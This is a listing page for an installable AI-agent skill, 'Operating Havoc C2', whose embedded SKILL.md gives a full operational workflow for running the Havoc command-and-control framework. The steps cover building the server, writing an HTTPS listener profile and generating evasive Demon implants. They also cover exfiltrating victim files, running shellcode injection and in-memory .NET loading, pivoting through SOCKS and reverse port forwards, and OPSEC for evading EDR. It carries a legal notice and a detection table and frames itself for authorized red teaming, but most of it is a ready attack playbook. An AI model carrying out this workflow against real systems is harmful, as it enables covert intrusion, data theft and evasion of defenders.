
Operating Havoc C2
FreeDeploy and manage a modern command-and-control framework.
Free · Opens the source repo
What Operating Havoc C2 does
Operating Havoc C2 is a skill designed for security professionals engaged in authorized red-team operations. It enables users to deploy a Havoc command-and-control (C2) server and generate evasive Demon agents, which are essential for simulating advanced adversary tactics. The skill provides a comprehensive workflow that covers the entire C2 lifecycle, from server setup to agent deployment and lateral movement.
The Havoc framework, created by @C5pider, is known for its evasion capabilities, including indirect syscalls and sleep obfuscation techniques. These features help security teams evaluate the effectiveness of endpoint detection and response (EDR) solutions against sophisticated threats. By utilizing the Yaotl profile configuration language, users can define team server settings, operator credentials, and listener configurations to tailor their red-team engagements effectively.
This skill is particularly useful for security professionals looking to emulate real-world attack scenarios that leverage the Havoc framework. It allows for the testing of detection mechanisms and the demonstration of post-exploitation techniques in a controlled environment. The GUI-driven client simplifies interaction with the C2 server, making it accessible even for those who may not be deeply familiar with command-line interfaces.
Overall, Operating Havoc C2 is a vital tool for any red team or security consultant focused on understanding and mitigating advanced threats. It fosters a structured approach to adversary emulation, ensuring that security measures are robust enough to withstand real-world attacks.
When to use it
Use this skill during red-team engagements that require a sophisticated and evasive C2 framework for testing detection capabilities.
When not to use it
This skill is not suitable for unauthorized testing or environments where compliance with legal and ethical standards cannot be guaranteed.
What you can build with it
Red-Team Engagements
Deploy the Havoc C2 framework during authorized red-team exercises to simulate advanced adversary tactics.
Adversary Emulation
Use the skill to emulate threats that utilize the Havoc framework, enhancing the realism of security assessments.
EDR Validation
Test and validate the effectiveness of EDR solutions against evasive techniques like indirect syscalls and sleep obfuscation.
How to install Operating Havoc C2
View source1. Install with the skills CLI
npx skills add mukul975/anthropic-cybersecurity-skills/operating-havoc-c2 --agent claude-code2. Or install it manually
Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.
Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs
Inside SKILL.md
Written by mukul975Operating Havoc C2
Legal Notice: This skill is for authorized security testing, sanctioned red-team engagements, and education only. Deploying a C2 framework or its agents against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement document.
Overview
Havoc is an open-source, modern command-and-control framework created by @C5pider (https://github.com/HavocFramework/Havoc). Its primary implant, the Demon, is written in C and assembly and was designed from the ground up for evasion: it supports indirect syscalls (Hell's Gate / Halo's Gate), return-address and stack spoofing, and sleep obfuscation techniques (Ekko / FOLIAGE) that encrypt the agent in memory while it sleeps. The team server is the backend that starts listeners, queues tasks, manages agent check-ins, and brokers operator connections over an encrypted WebSocket. Operators connect with the Havoc client, a Qt GUI.
Havoc's behavior is driven by a Yaotl profile — a configuration language forked from HashiCorp's HCL — which defines the team server, operators, listeners, and Demon defaults. Because Havoc has been observed in real intrusions and is favored for its evasion features, exercising it during authorized engagements is valuable for emulating advanced adversary tradecraft and for testing whether EDR and network sensors detect its HTTP(S) C2 and in-memory techniques. This skill covers building Havoc, writing a profile, launching the team server, generating Demon agents, and running post-exploitation and lateral movement.
When to Use
- When an authorized red-team engagement calls for an evasive, GUI-driven C2
- When emulating an adversary that uses Havoc/Demon (per threat intelligence) in a purple-team exercise
- When validating EDR detection of indirect syscalls, sleep obfuscation, and stack spoofing
- When demonstrating post-exploitation impact and lateral movement for a report
Prerequisites
- A dedicated Linux host (Debian/Ubuntu/Kali) for the team server
- Go 1.18+ for the team server; Python 3.10 and Qt5 libraries for the client
- mingw-w64 and nasm for cross-compiling the Demon for Windows targets
- Signed authorization / rules of engagement
Install dependencies and build from source:
# Clone the framework
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Debian/Ubuntu/Kali build dependencies
sudo apt update && sudo apt install -y \
git build-essential cmake libfontconfig1 libglu1-mesa-dev libgtest-dev \
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev qtbase5-dev qtchooser \
qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
qtdeclarative5-dev golang-go python3.10 python3.10-dev mingw-w64 nasm
# Build the team server
make ts-build
# Build the client
make client-build
Objectives
- Author a Yaotl profile defining team server, operators, and a listener
- Launch the Havoc team server and connect with the client
- Create an HTTP(S) listener
- Generate an evasive Demon agent (EXE / shellcode) with sleep obfuscation
- Interact with the Demon and run post-exploitation commands
- Execute .NET assemblies and BOFs in-memory
- Pivot through the beachhead via SOCKS and port forwarding
MITRE ATT&CK Mapping
| ID | Technique | Use in this skill |
|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | The Demon's HTTP(S) listener carries C2 over web protocols to blend with normal traffic |
Related techniques exercised by the workflow:
| ID | Technique |
|---|---|
| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution (indirect syscalls) |
| T1620 | Reflective Code Loading (in-memory .NET / BOF) |
| T1055 | Process Injection |
| T1090.001 | Internal Proxy (SOCKS pivot) |
Workflow
Step 1: Write a Yaotl profile
Create profiles/engagement.yaotl defining the team server, an operator, and an HTTP listener. Yaotl is HCL-style:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "ChangeMe_Str0ng!"
}
}
Listeners {
Http {
Name = "https-listener"
Hosts = ["c2.example.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true # HTTPS
}
}
Demon {
Sleep = 30
Jitter = 25
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Step 2: Launch the team server
Run the team server with your profile (privileged ports may require sudo):
# Verbose run with a custom profile
./havoc server --profile profiles/engagement.yaotl -v
# Add debug logging
./havoc server --profile profiles/engagement.yaotl --verbose --debug
Step 3: Connect with the client
Launch the Qt client and connect to the team server using the operator credentials from the profile:
./havoc client
In the connect dialog: enter the team server host, port 40056, operator name operator1, and the profile password. The Demon panel and listener views appear once connected.
Step 4: Create / verify a listener
The HTTP listener defined in the profile loads automatically. To add another at runtime use Listeners → Add in the GUI and configure: Name, Hosts (callback domains/IPs), HostBind, PortBind, PortConn, and whether it is Secure (HTTPS).
Step 5: Generate a Demon agent
In the GUI go to Attack → Payload and configure the Demon build:
- Listener:
https-listener - Architecture:
x64 - Format:
Windows Exe,Windows Dll, orWindows Shellcode - Sleep: e.g.,
30seconds with jitter - Indirect Syscalls: Enabled (Hell's Gate / Halo's Gate)
- Sleep Technique:
Ekko(encrypts agent memory during sleep) - Stack Spoofing / Proxy Loading: Enabled
- Sleep Jmp Gadget: as available
Click Generate to produce the payload. Deliver it to the target through your authorized initial-access method.
Step 6: Interact with the Demon
When a Demon checks in it appears in the session table. Right-click → Interact (or double-click) to open the console. Core post-exploitation commands:
# Situational awareness
whoami
pwd
ls
ps
ipconfig
net localgroup administrators
# Token / privilege
getprivs
token list
# File operations
download C:\Users\victim\Documents\secrets.docx
upload /opt/tools/tool.exe C:\Windows\Temp\tool.exe
Step 7: In-memory execution (.NET and BOFs)
The Demon supports in-memory execution of .NET assemblies and Beacon Object Files, avoiding disk writes:
# Execute a .NET assembly in-memory (e.g., Seatbelt, Rubeus)
dotnet inline-execute /opt/tools/Seatbelt.exe -group=system
# Run a Beacon Object File
inline-execute /opt/bofs/whoami.o
Step 8: Process injection and migration
# Inject shellcode into a spawned/target process
shellcode inject x64 PID /tmp/payload.bin
# Run an assembly under a sacrificial process per profile Injection settings
proc create C:\Windows\System32\notepad.exe
Step 9: Pivot into segmented networks
# Start a SOCKS5 proxy through the Demon for proxychains tooling
socks add 1080
# Port forward (reverse) to reach an internal service
rportfwd add 8443 10.0.5.20 443
Step 10: Clean up
# Remove uploaded artifacts and exit the agent cleanly
rm C:\Windows\Temp\tool.exe
exit
Stop the team server (Ctrl-C) and revoke operator credentials at engagement end.
Tools and Resources
| Resource | Purpose | Link |
|---|---|---|
| Havoc Framework | Source and releases | https://github.com/HavocFramework/Havoc |
| Havoc Documentation | Official docs (teamserver, profiles, agent) | https://havocframework.com/docs |
| Havoc Profiles | Sample Yaotl profiles | https://github.com/HavocFramework/Havoc/tree/main/profiles |
| MITRE ATT&CK T1071.001 | Web Protocols | https://attack.mitre.org/techniques/T1071/001/ |
OPSEC and Detection Considerations
| Demon feature | Purpose | Defender detection opportunity |
|---|---|---|
| Indirect syscalls (Hell's/Halo's Gate) | Bypass user-mode API hooks | Kernel ETW (Threat-Intelligence provider), call-stack anomalies |
| Sleep obfuscation (Ekko) | Encrypt agent in memory while sleeping | Memory scanning between sleeps, timer-queue/ROP artifacts |
| Stack spoofing | Hide implant in call stacks | Unbacked-memory thread start, spoofed-frame heuristics |
| HTTP(S) C2 | Blend with web traffic | Beaconing periodicity, JA3/TLS fingerprint, malleable headers |
- Tune
SleepandJitterhigh to reduce beacon regularity. - Front HTTP(S) listeners with nginx/Apache redirectors; never expose the team server IP.
- Prefer in-memory
dotnet inline-execute/ BOFs over spawning child processes.
Validation Criteria
- Havoc team server and client built from source successfully
- Yaotl profile authored with team server, operator, and HTTP(S) listener
- Team server launched with the profile and operator connected via client
- HTTP(S) listener active
- Evasive Demon agent generated with sleep obfuscation and indirect syscalls
- Demon checks in and post-exploitation commands run
- A .NET assembly or BOF executed in-memory
- SOCKS proxy or port-forward established for pivoting
- Artifacts removed, agent exited, and team server stopped at cleanup
Frequently asked questions about Operating Havoc C2
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